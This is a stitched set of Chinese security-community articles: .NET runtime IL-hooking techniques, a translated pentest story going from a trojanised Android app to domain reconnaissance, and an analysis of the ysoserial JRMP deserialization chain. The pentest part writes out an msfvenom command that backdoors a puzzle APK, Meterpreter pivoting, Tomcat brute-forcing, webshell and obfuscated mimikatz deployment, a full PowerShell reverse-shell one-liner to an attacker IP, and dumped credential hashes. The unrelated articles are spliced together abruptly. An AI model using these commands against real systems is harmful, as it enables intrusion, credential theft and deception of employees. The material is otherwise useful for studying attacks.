// JIT DLL中的ICorJitCompiler接口
class ICorJitCompiler
{
public:
typedef CorJitResult (__stdcall ICorJitCompiler::*PFN_compileMethod)(ICorJitInfo * pJitInfo, CORINFO_METHOD_INFO * pMethodInfo, UINT nFlags, LPBYTE * pEntryAddress, ULONG * pSizeOfCode);
CorJitResult compileMethod(ICorJitInfo * pJitInfo, CORINFO_METHOD_INFO * pMethodInfo, UINT nFlags, LPBYTE * pEntryAddress, ULONG * pSizeOfCode)
{
return (this->*s_pfnComplieMethod)( pJitInfo, pMethodInfo, nFlags, pEntryAddress, pSizeOfCode);
}
private:
static PFN_compileMethod s_pfnComplieMethod;
};
// 保存原方法的地址
LPVOID pAddr = tPdbHelper.GetJitCompileMethodAddress();
LPVOID* pDest = (LPVOID*)&ICorJitCompiler::s_pfnComplieMethod;
*pDest = pAddr;
// 这是我们的compileMethod方法
CorJitResult __stdcall CInjection::compileMethod(ICorJitInfo * pJitInfo , CORINFO_METHOD_INFO * pCorMethodInfo , UINT nFlags , LPBYTE * pEntryAddress , ULONG * pSizeOfCode )
{
ICorJitCompiler * pCorJitCompiler = (ICorJitCompiler *)this;
// TODO: 在调用原来的compileMethod方法之前，将IL代码替换掉
CorJitResult result = pCorJitCompiler->compileMethod( pJitInfo, pCorMethodInfo, nFlags, pEntryAddress, pSizeOfCode);
return result;
}
// Hook JIT的compileMethod，用我们的方法来替换
NTSTATUS ntStatus = LhInstallHook( (PVOID&)ICorJitCompiler::s_pfnComplieMethod
, &(PVOID&)CInjection::compileMethod
, NULL
, &s_hHookCompileMethod
);
但是这里有一个问题：
**对于JIT** **已经编译过的方法，CLR** **不会调用上文中的 compileMethod** **方法。**
对于每个方法（method），内存中至少有一个 MethodDesc 结构，包含此方法的标志位（flags）、结构地址（slot
address）、入口地址（entry address）等。
在一个方法被JIT编译之前，此结构会将入口地址设置成指向一个特殊的JMI
trunk（prestub），调用它会触发JIT编译；当IL代码已被编译后，此结构会将入口地址修改为对应方法的JMI
trunk，此时调用它就会直接跳转到编译后的本地代码。
所以经过 JIT 编译后的 MSIL 再次调用，会直接运行编译后的机器码，而不是再次进行编译执行。
这里附上《CLR via C#》的相关解释：
CLR为每个类型分配一个内部结构。在这个内部数据结构中，每个方法都有一个对应的记录项（entry）。每个记录项都含有一个地址，根据此地址即可找到方法的实现。对这个结构初始化时，CLR将每个记录项都设置成（指向）包含在CLR内部的一个未编档函数。我将该函数成为JITCompiler。
当首次调用某一方法时，JITCompiler方法会被调用。JITCompiler函数负责将方法的IL代码编译成本机CPU指令。JITCompiler函数被调用时，它知道要调用的是哪个方法，以及具体是什么类型定义了该方法。然后，JITCompiler会在定义（该类型的）程序集的元数据中查找被调用方法的IL。接着，JITCompiler验证IL代码，并将IL代码编译成本机CPU指令。本机CPU指令保存到动态分配的内存块中。然后，JITCompiler回到CLR为类型创建的内部数据结构，找到与被调用方法对应的那条记录，修改最初对JITCompiler的引用，使其指向内存块（其中包含了刚才编译好的本机CPU指令）的地址。最后，JITCompiler函数跳转到内存块中的代码。这些代码正是对应的方法的具体实现。代码执行完毕并返回时，会回到调用者的代码，并像往常一样继续执行。
我们劫持的是compileMethod, 如果将方法的 MethodDesc 结构，重置为为编译状态。那么便可以在方法调用的时候执行
compileMethod,此时我们便可以劫持函数内容。
要实现 MethodDesc 结构重置，有两种方法：直接修改内存，或者调用 MethodDesc::Reset ：
void MethodDesc::Reset()
{
CONTRACTL
{
THROWS;
GC_NOTRIGGER;
}
CONTRACTL_END
// This method is not thread-safe since we are updating
// different pieces of data non-atomically.
// Use this only if you can guarantee thread-safety somehow.
_ASSERTE(IsEnCMethod() || // The process is frozen by the debugger
IsDynamicMethod() || // These are used in a very restricted way
GetLoaderModule()->IsReflection()); // Rental methods
// Reset any flags relevant to the old code
ClearFlagsOnUpdate();
if (HasPrecode())
{
GetPrecode()->Reset();
}
else
{
// We should go here only for the rental methods
_ASSERTE(GetLoaderModule()->IsReflection());
InterlockedUpdateFlags2(enum_flag2_HasStableEntryPoint | enum_flag2_HasPrecode, FALSE);
*GetAddrOfSlotUnchecked() = GetTemporaryEntryPoint();
}
_ASSERTE(!HasNativeCode());
}
虽然MethodDesc 是CLR内置结构，外部不能进行调用，但是我们可以解析PDB文件来得知CLR DLL中 MethodDesc::Reset()
方法的地址, 进行强行调用。
这样便能将以编译的方法，重置回未编译的状态。方法调用的时候便会进行compileMethod。
PS：感谢 [ULYSSES](http://114.215.126.213/)，这个小哥翻译了[Jerry
Wang](http://www.codeproject.com/Articles/463508/NET-CLR-Injection-Modify-IL-Code-during-Run-time) 的博文，我偷了个懒，截取了多处翻译。（笑）
### 0x02-01 Implementing a trampoline via the calli instruction
该方法是 Antonio ‘s4tan’
Parata提出来的，发表在[phrack](http://www.phrack.org/papers/dotnet_instrumentation.html)
他提出的修改策略为：
1\. Install a trampoline at the beginning of the code. This
trampoline will call a dynamically defined method.
2\. Define a dynamic method that will have a specific method signature.
3\. Construct an array of objects that will contain the parameters
passed to the method.
4\. Invoke a dispatcher function which will load our Assembly
and will finally call our code by passing a handle to the original
method and an array of objects representing the method parameters.
主要功能为：创建DynamicMethod来伪造有效的MethodDef标记，然后使用 calli 指令强行更改执行流程。
我也是受到这老哥的影响，摸索出了一套更稳定的实现方法，理论上有很多重叠的方法，在这里先不多说。如果对 trampoline 感兴趣，可以看博文：
http://www.phrack.org/papers/dotnet_instrumentation.html
### 0x02-02 Profiling API
Profiling 是一种监视工具，CLR 在运行的时候会加载Profiling API 的 DLL.
Profiling API 通常被用于编写代码分析器，用来监视托管应用程序执行。
MS docs中介绍了Profiling API 的适用范围：
Supported Features：
The profiling API retrieves information about the following actions and events
that occur in the CLR:
– CLR startup and shutdown events.
– Application domain creation and shutdown events.
– Assembly loading and unloading events.
– Module loading and unloading events.
– COM vtable creation and destruction events.
– Just-in-time (JIT) compilation and code-pitching events.
– Class loading and unloading events.
– Thread creation and destruction events.
– Function entry and exit events.
– Exceptions.
– Transitions between managed and unmanaged code execution.
– Transitions between different runtime contexts.
– Information about runtime suspensions.
– Information about the runtime memory heap and garbage collection activity.
– The profiling API can be called from any (non-managed) COM-compatible
language.
The API is efficient with regard to CPU and memory consumption. Profiling does
not involve changes to the profiled application that are significant enough to
cause misleading results.
The profiling API is useful to both sampling and non-sampling profilers. A
sampling profiler inspects the profile at regular clock ticks, say, at 5
milliseconds apart. A non-sampling profiler is informed of an event
synchronously with the thread that causes the event.
其中有几个有用的方法，可以用于MSIL代码更改：
* ICorProfilerInfo::GetILFunctionBody Method
* ICorProfilerInfo::SetILFunctionBody Method
* JITCompilationStarted
SetILFunctionBody 的描述：
Replaces the body of the specified function in the specified module.
The SetILFunctionBody method replaces the relative virtual address of the
function in the metadata so that it points to the new function body, and
adjusts any internal data structures as required.
The SetILFunctionBody method can be called on only those functions that have
never been compiled by a just-in-time (JIT) compiler.
Use the ICorProfilerInfo::GetILFunctionBodyAllocator method to allocate space
for the new method to ensure that the buffer is compatible.
Profiling 因此具备一定的MSIL更改能力。替换流程很简单：
* 创建 DynamicMethod，使用GetILFunctionBody，将方法复制到 DynamicMethod 中
* 使用 ILGenerator 更改、增加IL代码
* 将修改了的 DynamicMethod 使用 SetILFunctionBody 映射到原先的方法上
这种方法很简单，要远比劫持 compileMethod 容易实现的多，而且还稳定。
but，使用 Profiling API 需要设置环境变量：
set COR_ENABLE_PROFILING = 1
set COR_PROFILER=”MyProfiler”
Profiling API 虽然稳定，但是易用性差一点。
## 0x03 捷径：反射
铺垫那么多，终于到正文了。其实我的思路和Profiling API、安装 trampoline 差不多。
核心方法都是，克隆方法到 DynamicMethod中进行更改，然后寻找办法，更改函数执行到我们修改过的DynamicMethod上。
在这里，我使用了反射。反射是C#强大的特性之一，可以使程序动态访问、检测和修改自身。
在使用windbg动态调试C#程序的时候，发现了一些有意思的方法。虽然微软没有给出相关文档，也不能直接从外部直接调用，但是借助反射，多了许多可能性。
这里分为两个部分来讲：
* MethodBase Repalce
* Dynamic Method Modify
### 0x03-00 MethodBase Repalce
前面提到过，JIT编译过，会将编译后的nativeEntry信息写到 MethodDesc 中,如果可以将这个地址进行替换，那么不就可以劫持函数执行了？
首先，我们需要获得方法对象。
获得方法对象的方法有很多，如果知道method name，我们可以使用反射（Reflection），如果不知道任何method
name，可以使用StackTrace。通过调用关系，可以得到程序的函数信息。
MethodBase BaseInfo = typeof(className).GetMethod(“MethodName”);
new StackTrace(true).GetFrame(0).ToString()
接下来，我们就要获得method object 在内存中的位置，可以使用RuntimeMethodHandle
GetFunctionPointer，它是指向此实例表示的方法的指针。或者，使用Methodbase
Methodhandle.，都可以获取方法的内部元数据表示的句柄。
public static long GetMethodAddress(MethodBase method)
{
RuntimeMethodHandle runtimeMethodHandle = (RuntimeMethodHandle)method.MethodHandle;
RuntimeHelpers.PrepareMethod(runtimeMethodHandle);
return runtimeMethodHandle.GetFunctionPointer().ToInt64();
}
public static unsafe long GetMethodPtr(MethodBase method)
{
return (long)method.MethodHandle.Value.ToPointer();
}
之后我们要设置 VirtualProtect ，因为修改内存是危险的行为，所以，这些操作只能在unsafe function 环境下运行。
[DllImport(“kernel32.dll”)]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize,
Protection fNewProtect, out Protection lpflOldProtect);
之后就是替换两个函数的FunctionPointer，演示效果如下：
[YouTube](https://youtu.be/xwib7zeJkew)
{% youtube xwib7zeJkew %}
### 0x03-01 Dynamic Method Modify
上一个例子是替换函数执行，接下来我们探讨下对现有函数修改。
我们可以借助Dynamic Method ,将现有的Method 的IL code ，经过修改，拷贝到Dynamic
Method。这样就能实现，现有方法的功能注入。在方法调用的时候，会执行一些我们设定的操作。
但是Dynamic Method 没有 RuntimeMethodHandle，在这里需要对Dynamic Method 进行额外的处理。当得到
RuntimeMethodHandle 时，才能Replace MethodBase。
我们可以使用MethodBase.GetMethodBody().GetILAsByteArray获得IL code。 当然，微软提供一些操作码结构。
byte[] ilcodes =MethodInfo .GetMethodBody().GetILAsByteArray();
获取到函数的IL代码后，我们通过修改其中的OpCodes，进行对函数功能的更改：
这里简单做个实例：
public static void def_3()
{
int a = 1;
int b = 1;
if (a == b)
{
Console.WriteLine("a == b");
}
else
{
Console.WriteLine("a != b");
Console.WriteLine("success!!");
}
Console.Read();
}
我们定义了一个名为 def_3 的函数,其中定义了a和b，他们的值都是1,根据判断他们是否相等，执行不同的操作。
很明显，这个function 将输出（print） a等于b。接下来的演示，是更改这个函数的执行流程，将这个函数，输出a不等于b。
public static byte[] SettingILcode(byte[] old)
{
for (int i = 0; i <old.Length; i++)
{
if (old[i] == (byte)OpCodes.Ceq.Value)
{
old[i] = (byte)OpCodes.Cgt.Value;
}
}
return old;
}
比较两个数是否相等，用到的是Ceq。Cgt 的含义是，比较两个数大小。如果使用Cgt 替换 Ceq 。那么这个函数将变为:
public static void def_3()
{
int a = 1;
int b = 1;
if (a > b)
{
Console.WriteLine("a == b");
}
else
{
Console.WriteLine("a != b");
Console.WriteLine("success!!");
}
Console.Read();
}
通过修改一个Opcode ，可以修改整个函数的执行流程。这里我们修改了MSIL代码，控制了函数的执行。
因为元数据表和元数据Token，直接更改函数的MSIL代码是十分困难的。这里我们取个巧，对函数进行克隆，方法的MSIL拷贝到dynamicMethod中，在拷贝的过程中，就可以修改MSIL，进而鞥更改方法功能。
向dynamicMethod中输入IL code ，我们使用的是ILGenerator：
MS docs:
ILGenerator is used to generate method bodies for methods and constructors in
dynamic assemblies and for standalone dynamic methods .
Use Emit Puts the specified instruction onto the Microsoft intermediate
language (MSIL) stream followed by the metadata token for the given type.
但是，GetILAsByteArray() 返回的是IL 的字节数组，并不是 OpCodes。ILGenerator 处理的是操作码，所以我们需要 Byte
-> OpCodes,
虽然微软给出了一些OpCodes的文档，也能得到OpCodes对应的Byte，但是实际识别操作码和操作数是十分繁琐的。在这里，我使用了[Mono](https://github.com/jbevain/mono.reflection%20)，只需要稍加更改，就可以使用mono
生成dynamicMethod。
我们无法直接获取动态函数的方法句柄(MethodHandle)，如果不能获得MethodHandle，那么我们将不能对函数进行替换。但是其实在DynamicMethod
生成的时候，已经生成了句柄（Handle），我们通过GetMethodDescriptor，得到DynamicMethod的Handle信息。
实际上，GetMethodDescriptor并不是公开的函数，微软不允许直接调用。
但是我们可以使用反射，强行调用DynamicMethod::GetMethodDescriptor();
var noninternalInstance = BindingFlags.NonPublic | BindingFlags.Instance;
var GetMethodDescriptor = typeof(DynamicMethod).GetMethod("GetMethodDescriptor",noninternalInstance);
if (m_GetMethodDescriptor != null)
return (RuntimeMethodHandle)GetMethodDescriptor.Invoke(method, new object[0]);
至此，我们也得到了方法运行的指针，之后的操作流程和之前的 MethodBase Repalce 就一样了。
演示视频：
[YouTube](https://youtu.be/cqrlMMqC1us)
{% youtube cqrlMMqC1us %}
PS:前两天看到一个项目 [Harmony](%20https:/github.com/pardeike/Harmony)
，和这个思路相同，但是工程化那么高，实在佩服。
## 0x04 Notes
动态更改IL代码，一共说了4种方法。但是真正意义更改方法内部IL的是第一种劫持 compileMethod，其他的方案，都不是在原有方法基础上更改的。
其他的三种方法都是对方法进行克隆，这种思路可以实现目的，但是函数在运行的时候，方法对应的“应用程序域“的环境已经改变。并不是严格意义上的对方法进行更改。
如果不更改应用程序域环境，在原有基础上进行MSIL的更改，需要更改元数据表和元数据标记，要做大量的内存操作，此时风险其实很大，稍有不慎，程序就崩溃了。
应用程序域相关的知识没有展开说，有兴趣的同学可以自行了解。
### 有什么用呢？
动态更改IL，应用场景有：数据安全、软件加固、外挂、反外挂等。
正常开发，基本上不怎么需要动态更改IL，更多的应用场景是在安全方面。起初想到的是外挂方面，毕竟基于 unity3d 的游戏还是挺多的。
在参加 CanSecWest
的时候和[鹏博士](https://twitter.com/edwardzpeng)聊了聊，提到了在数据安全方面有应用的可能。之后有时间，再来研究这一块吧。 | 社区文章 |
# 【技术分享】公司智能手机安全（一）——从APK到Golden Ticket：初步探测
|
##### 译文声明
本文是翻译文章，文章来源：infosecinstitute.com
原文地址：<http://resources.infosecinstitute.com/apk-golden-ticket-owning-android-smartphone-gaining-domain-admin-rights/>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[村雨其实没有雨](http://bobao.360.cn/member/contribute?uid=2671379114)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
从一台Android智能手机，获取域管理员权限，甚至更多…
本文介绍了在企业网络中使用个人智能手机的潜在危险，在现实案例发生之后，这些案例被作为了典型。事实证明，欺骗一名员工安装恶意应用程序、绕过网络保护、访问企业网络、提权并获取保密信息并不困难。
此外，事实证明了在不被发现的情况下绕过所有的防护机制（包括反病毒软件）是可能的。攻击者可以通过使用一些系统自带的工具和能够公开访问到的脚本来实现绕过，而不需要太过于依赖外部工具。
这就是我们常说的K.I.S.S策略（Keep It Simple Stupid）
下面的故事如与真实事件或真实人物有任何相似之处，纯属巧合。
**背景**
“超级公司”聘请了我们的渗透测试工程师对其员工进行社会工程学评估，测试的范围是找到所有能窃取机密资料的方法，从而利用员工
在内部见面会期间，我们要求访问访客WiFi。访客WiFi受到专属保护，因此需要登录，凭证有效期仅为一天。
一旦连接上了WiFi，我们就开始从iPhone手机用Fing进行了一次快速扫描：结果我们发现了几台Android设备——这显然是超过了公司访客的人数。我们认为甚至公司职员也使用访客WiFi。也许可以节省他们宝贵的数据计划。事实上，给我们登录凭证的接待员在我们询问如何访问网络时，正在聊WhatsApp。
场景：桌子上有两部电话，整洁的桌面，一家三口的照片。
在短暂的闲聊之后，我了解到了她女儿四岁了，非常活跃，但是只要有装了游戏的智能手机就能平静下来。啊，现在的孩子们啊…
**攻击描述**
社会工程学是从一次小型钓鱼活动开始的，虽然惨遭失败。我们随后发现公司职员在我们攻击之前，都受到过相关训练，对附件、下载等行为都有很强的警惕性，我们的开端并不好。
于是我们决定把精力集中在接待员身上，我们的目的是让她为孩子下载Android应用，有什么对孩子来说比拼图更有意思呢，哈 我们喜欢拼图啊。
找到接待员的email个人地址非常容易，我们准备了一封电子邮件，里面有一个链接定位到下载页面。我们还在邮件里加了一个二维码，只要像拍照一样扫一下就能安装了。
很可爱对吧！我们的目标很容易就会装上恶意安卓应用，这个应用程序确实是一个拼图游戏，只是里面藏了一个Meterpreter的shell
**瞄准智能手机**
创建一款恶意安卓应用非常简单，我们下载了一个普通应用，然后使用msfvenom来注入了payload，也就是meterpreter shell
msfvenom -x puzzle.apk -p android/meterpreter/reverse_tcp LHOST=<OUR_PUBLIC_IP> LPORT=443 -o /var/www/html/puzzle.apk
使用443端口进行监听的原因是，443和80端口都通常是被防火墙许可的标准端口
我们相信这款app能够引起接待员足够的兴趣，并忽略掉安装过程中的警告
在我们的主机上，也开启了一个监听程序：
msf>use exploit/multi/handler
msf exploit(handler) > set payload android/meterpreter/reverse_tcp
payload => android/meterpreter/reverse_tcp
msf exploit(handler) > set lhost <OUR_PUBLIC_IP>
lhost => <OUR_PUBLIC_IP>
msf exploit(handler) > set lport 443
lport => 443
msf exploit(handler) > exploit -j -z
[*] Started reverse TCP handler on <OUR_PUBLIC_IP>:443
为了利用公司职员会为了个人目的使用访客WiFi这一点，我们还想再公司附近放一个天线
**利用Meterpreter**
大概早上8:00的时候，我在msfconsole上收到了消息：
[*] Meterpreter session 1 opened (<OUR_PUBLIC_IP>:443 ->X.X.X.X:51990) at …
Bingo！她安装并运行了恶意安卓程序，我们现在获得了一个Meterpreter会话
现在我们需要知道她是否连接到了公司的WiFi网络。IP检测结果表明它是从蜂窝网络连接的，她可能在去办公室的路上，也许她女儿正在玩拼图游戏。
会话并没有持续太久，几分钟后我们丢失了shell，但是在9:00前我们又收到了另一个Session：
[*] Meterpreter session 2 opened (<OUR_PUBLIC_IP>:443 ->K.K.K.K:61545) at …
这次IP是公司的，说明她连接到了公司的WiFi网络
于是我们开始进行了一些初步探查，除了几台智能手机，我们只在一个不同的子网下找到了一台DNS服务器
meterpreter>ipconfig
…..
Interface 9
============
Name : wlan0 – wlan0
Hardware MAC : 20:6e:9c:75:94:ba
IPv4 Address : 10.118.1.13
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::226e:9cff:fe75:94ba
IPv6 Netmask : ::
…….
meterpreter > shell
Process 1 created.Channel 1 created.
getprop net.dns1
192.168.178.196
访客WiFi网络在10.118.1.0/24上，而DNS服务器位于另一个子网
为了访问子网，我们配置了路由
exploit(handler) > route add 192.168.178.0 255.255.255.0 1
Nmap扫描不能执行，于是我们使用proxychains做了一次快速的ping扫描
msf auxiliary(socks4a) > use auxiliary/server/socks4a
msf auxiliary(socks4a) > show options
Module options (auxiliary/server/socks4a):
Name Current Setting Required Description
—- ————— ——– ———–
SRVHOST 0.0.0.0 yes The address to listen on
SRVPORT 1080 yes The port to listen on.
# Attacker <-> proxychains nmap -sn 192.168.178.0/24 <-> DNS network
Nmap scan report for 192.168.178.195
Host is up (0.15s latency).
Nmap scan report for 192.168.178.196
Host is up (0.22s latency).
主机对ping扫描都进行了回复
我们接着又进行了一次快速TCP扫描
msf exploit(handler) > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set RHOSTS 192.168.178.195,196
msf auxiliary(tcp) > set RPORTS 1-1024
msf auxiliary(tcp) > run
[*] 192.168.178.195: – 192.168.178.195:80 – TCP OPEN
[*] 192.168.178.195: – 192.168.178.195:8080 – TCP OPEN
[*] 192.168.178.196: – 192.168.178.196:53 – TCP OPEN
这是我们对当前网络环境结构的推测：
**瞄准内网服务器**
主机192.168.178.195开放了80和8080端口，我们在本地转发了端口，以便能够在本地分析网络流量
meterpreter> portfwd add -L 127.0.0.1 -l 8001 -r 192.168.178.195 -p 80
meterpreter> portfwd add -L 127.0.0.1 -l 8002 -r 192.168.178.195 -p 8080
80端口暴露了公司的电话簿，我们现在仍然不知道他们为什么在访客网络上暴露这些信息
快速扫描没有发现明显漏洞，于是我们决定检查下8080端口
我们遇到了Apache Tomcat的基本身份验证，使用Hydra进行爆破，几分钟后我们用admin/password123456登录了系统
现在我们进入了Tomcat管理控制台，这应该是防火墙配置的错误，因为不论是Tomcat管理控制台还是公司的号码簿，都不应该暴露在访客网路
我们计划在Tomcat上上传一个shell，以便能与底层操作系统进行交互。服务器指纹表明，我们正在对付的，是一台Windows服务器。
我们用Laudanum Injectable Web Exploit Code构造了war-archive，在管理页面上传了waf文件，其中包含了：
cmd.jsp：用于与cmd.exe进行交互
m.ps1：一个经过混淆和免杀的mimikatz.ps1，用于抓取密码和散列
由于其灵活性，混淆powershell脚本很容易，有几种著名的混淆技巧，我们只是改变了一些关键字，比如把Invoke-mimikatz改成Invoke-mymy什么的，还有一些其他的小技巧可供参考。
我们还在文件末尾添加了Invoke-mymy -dumpcreds，以便功能被直接执行
上传之后，我们就在浏览器访问了cmd.jsp
哈！用户是以SYSTEM权限运行服务的，我们继续进行信息收集。首先，来收集一下环境变量：
命令 cmd /c set
结果如下：
ALLUSERSPROFILE=C:ProgramData
COMPUTERNAME=SRVINTRANET
USERDOMAIN=SUPERCOMPANY
USERNAME=SRVINTRANET$
现在我们获取到了计算机名SRVINTRANET，与此同时，它属于SUPERCOMPANY域，完美。
继续使用systeminfo来检索其他有用信息：
命令：systeminfo
结果：
Host Name: SRVINTRANET
OS Name: Microsoft Windows Server 2012 R2 Standard
OS Version: 6.3.9600 N/A Build 9600
OS Manufacturer: Microsoft Corporation
OS Configuration: Member Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
…
接下来是域控制器
命令：cmd /c nltest /dclist:supercompany
结果：
Get a list of DCs in domain ‘supercompany’ from ‘\SRVDC1′.
srvdc1.supercompany.local[PDC] [DS]Site: Default-First-Site-Name
srvdc2.supercompany.local [DS]Site: Default-First-Site-Name
The command completed successfully
这时候Android设备可能已经开始发热了，我们需要转移到一个更合适的shell上。Android设备已经不再适合我们的工作了。
我们的黄金法则是：保持隐蔽和躲避杀毒软件。于是我们使用了基于PowerShell的shell，希望SRVINTRANET能够访问互联网吧。
通过Tomcat上的webshell，我们装好了Powershell后门，将会执行单向回连的命令，与此同时我们的公网服务器用netcat监听了80端口
cmd /c powershell -nop -c “$c=New-Object Net.Sockets.TCPClient(‘<OUR_PUBLIC_IP>’,80); $s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne 0){;$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb=(IEX $data 2>&1|Out-String);$sb2=$sb+’PS ‘+(pwd).Path+’>’; $sb=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sb,0,$sb.Length);
$s.Flush()};$c.Close()”
这个脚本有什么功能呢？它会在启动PowerShell的时候执行以下命令：创建一个TCPClient对象，反向连接到我们的机器，打开一个I/O流，并使用InvokeExpression来执行输入的内容
我们这次没那么幸运了，没有收到反向shell。这台服务器可能不能连接到互联网，于是我们又一次转向了Tomcat的webshell，并且安装了混淆过的mimikatz
cmd /c powershell -executionpolicy bypass -f c:tomcatwebappscmdwarfilesm.ps1
.#####. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
.## ^ ##. “A La Vie, A L’Amour”
## / ## /* * *
## / ## Benjamin DELPY `gentilkiwi` ( [email protected] )
‘## v ##’ http://blog.gentilkiwi.com/mimikatz (oe.eo)
‘#####’ with 20 modules * * */
mimikatz(powershell) # sekurlsa::logonpasswords
Authentication Id : 0 ; 191734 (00000000:0002ecf6)
Session : Interactive from 1
User Name : Administrator
Domain : SRVINTRANET
Logon Server : SRVINTRANET
Logon Time : 2/17/2017 2:12:31 PM
SID : S-1-5-21-938204560-2839928776-2225904511-500
msv :
[00010000] CredentialKeys
* NTLM : 604603ab105adc8XXXXXXXXXXXXXXXXX
* SHA1 : 7754ff505598bf3XXXXXXXXXXXXXXXXXXXXXXXXX
[00000003] Primary
* Username : Administrator
* Domain : SRVINTRANET
* NTLM : 604603ab105adc8XXXXXXXXXXXXXXXXX
* SHA1 : 7754ff505598bf3XXXXXXXXXXXXXXXXXXXXXXXXX
tspkg :
wdigest :
* Username : Administrator
* Domain : SRVINTRANET
* Password : (null)
kerberos :
* Username : Administrator
* Domain : SRVINTRANET
* Password : (null)
ssp : KO
credman :
mimikatz(powershell) # exit
Bye!
我们得到了本地管理员的密码哈希，但是没有明文。这是因为我们的目标服务器是Windows Server
2012，而在2008以后，事情发生了变化，WDigest凭证就不再储存明文了（不禁怀念过去的美好时光），此外credman是空的。总之这次发现也不差吧。
我们决定找到一个能够访问互联网的服务器，因为我们现在依然在借助一个连接不稳定的安卓手机完成渗透工作。
通过net view命令，我们得到了可用的共享服务器列表
Server Name Remark
————————————————- \SRVDC1 Domain controller PDC
\SRVDC2 [4] Domain Controller
\SRVWSUS Server WSUS
\SRVAV Server AV
\SRVFILE1 File Server
这就是真正的服务器网络 | 社区文章 |
### 简介
payloads/JRMPClient 生存的 payload 是发送给目标机器的，exploit/JRMPListener
是在自己服务器上使用的，payloads/JRMPClient 的利用，离不开 exploit/JRMPListener ，反之
exploit/JRMPListener 的利用，在上篇文章中，它是可以独立使用的
这篇文章是记录 payloads/JRMPClient 的分析流程，还会结合 exploit/JRMPListener 一起分析
### 利用流程
网上见到的利用方式：
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 12345 CommonsCollecitons1 'calc.exe'
java -jar ysoserial.jar JRMPClient 'vpsIP:PORT' > vulrServer
这个payloads/JRMPClient 是结合 exploit/JRMPListener 使用的（还没看exploit/JRMPClient）
* 在自己的 vps 上挂起 exploit/JRMPListener （可自定义反序列化 payload）。
* 将 payloads/JRMPClient 生成的 payload （指定自己vps的IP和端口）发送到漏洞服务器上，反序列化时，将会根据 JRMP 协议反向连接 vps ，在通信的同时，vps 会将指定好的payload 序列化后再次发送到漏洞服务器上，利用正在与 vps 上 exploit/JRMPListener 通信的 JRMPClient 第二次反序列化 vps 发送过来的payload，从而造成 RCE
攻击流程：
1. vps 跑起 exploit/JRMPListener ，并指定生成 payload1
2.向漏洞服务器发送 payloads/JRMPClient 生成的 payload2
3.漏洞服务器反序列化 payload2
4.反序列化 payload2 的过程中，将会与 exploit/JRMPListener 进行通信
5.exploit/JRMPListener 自定义了来自任意 JRMP client 的通信处理流程，会将 payload1 返馈给漏洞服务器
6.漏洞服务器会根据 exploit/JRMPListener 设计的通信处理流程，进一步反序列化 payload1
7.payload1 中包含了 RCE 的gadget构造，最终在漏洞服务器上执行任意代码
payload1 中主要利用通用库比如 commons-collections 等
payload2 中主要利用漏洞服务器自带的 jre 中绝对含有的 RMI 相关的gadget
（payload2需要满足两个条件，1：反连vps ，2：第二次反序列化）
（但是和利用漏洞服务器已经开启 RMI server 的 RMI gadget 不同（原理差不多，都是自定义 Proxy 中的
invocationHandler ，然后利用这个类成员反序列化过程），那个是利用的 rebind、bind
或者其他操作函数实现的反序列化，在服务器端反序列化payload时可以直接触发rce，所以可以直接使用 rmi client
的身份发送payload。而这里的 gadget，首先需要连接到vps上自定义的 JRMP
通信服务上，然后根据其指定的操作流程，进一步触发第二次反序列化才能造成 rce。其实从后面的结果来看，触发第二次反序列化和基于报错的 rmi
反序列化利用流程中依靠报错进行命令执行结果回显的思路是差不多的。rmi 反序列化利用的过程中是 rmi client 控制 rmi server的操作流程。
JRMP 反序列化利用的过程中是 JRMPListener（server端）控制 JRMPClient 的操作流程）
### payloads/JRMPClient
先来看看 payloads/JRMPClient 的调用流程：
#### 处理流程
_环境是 jdk1.8_66_
因为是 payloads 模块下的，所以先看看这个类的 getObject 函数（流程是在构造payload）
竖线部分，都是和需要反向连接的 host 和 port 还有 objID 等必要因素（似乎整个流程利用的也是 jre 中已经实现的 rmi 相关的功能）
然后将他们都带入了 LiveRef 中，接着又封装进了 UnicastRef 里，再继续封装进 RemoteObjectInvocationHandler
中，最后用 Proxy.newProxyInstance 生成了一个 proxy ，这个就比较熟悉了，和 rmi 反序列化利用的一样，先生成一个
proxy，利用点就在 invocationHandler 这个成员变量，如上图，也是将 RemoteObjectInvocationHandler 作为了
proxy 的 invocationHandler 成员变量值
然后这个 JRMPClient 依靠的就是 RemoteObjectInvocationHandler 反序列化时，会自动调用其父类
RemoteObject 的 readObject 函数
跟进去，在 RemoteObject 中
这里肯定进入的是 else，因为我们反序列化创建的是指定了 UnicastRef 这个类的，不会没有名字
继续看 else
这里最后调用了 UnicastRef 的 readExternal 函数（这个是序列化的另一种方式，实现Externalizable 接口）
再调用了 read，跟进
这后续的好几个部分的内容，都可以根据作者给出的调用流程跟进了，不会分析的太详细
步步跟进后，跟到了这里：
dgc 似乎是 rmi 里的某些东西，具体是啥我们可以不用管
继续跟进，在调用流程里提示的是，这里调用的是 DGCImpl_Stub 里的 dirty
看见这几个框，就感觉很熟悉很熟悉，仔细想想其实就是 rmi 反序列化利用过程中 RMI client 中 RegistryImpl_Stub
的实际操作，如下图：
实际这里就可以感觉得出来，rmi 反序列化利用流程中，依靠的是 Registry 功能，而这里的 JRMPClient 利用的就是 DGC 功能
> 这里可以反思一下，RMI Client 是通过 RegistryImpl_Stub 去控制 RMI Server 的操作流程，但是实际上，此时 RMI
> Client 和 RMI Server 都是互相沟通的，只是对于攻击者来说，可以完全控制的是 RMI Client ，而 RMI Server
> 仅仅是做默认操作。那么对于 JRMPClient 和 JRMPListener 来说，完全就是相反的，JRMPListener 和 JRMPClient
> 相互通信的过程中，我们完全可控的是 JRMPListener，而 JRMPClient 仅仅是做默认操作。在基于反序列化的通信协议中，Client 和
> Server 可以灵活使用，因为双方都涉及到了序列化和反序列化，具体是选择 Client 还是 Server 作为攻击端，要视情况而定
最后：
UnicastRef 的 newCall 完全是 JRMPClient 给 JRMPListener 发送通信信息的，而后的 invoke
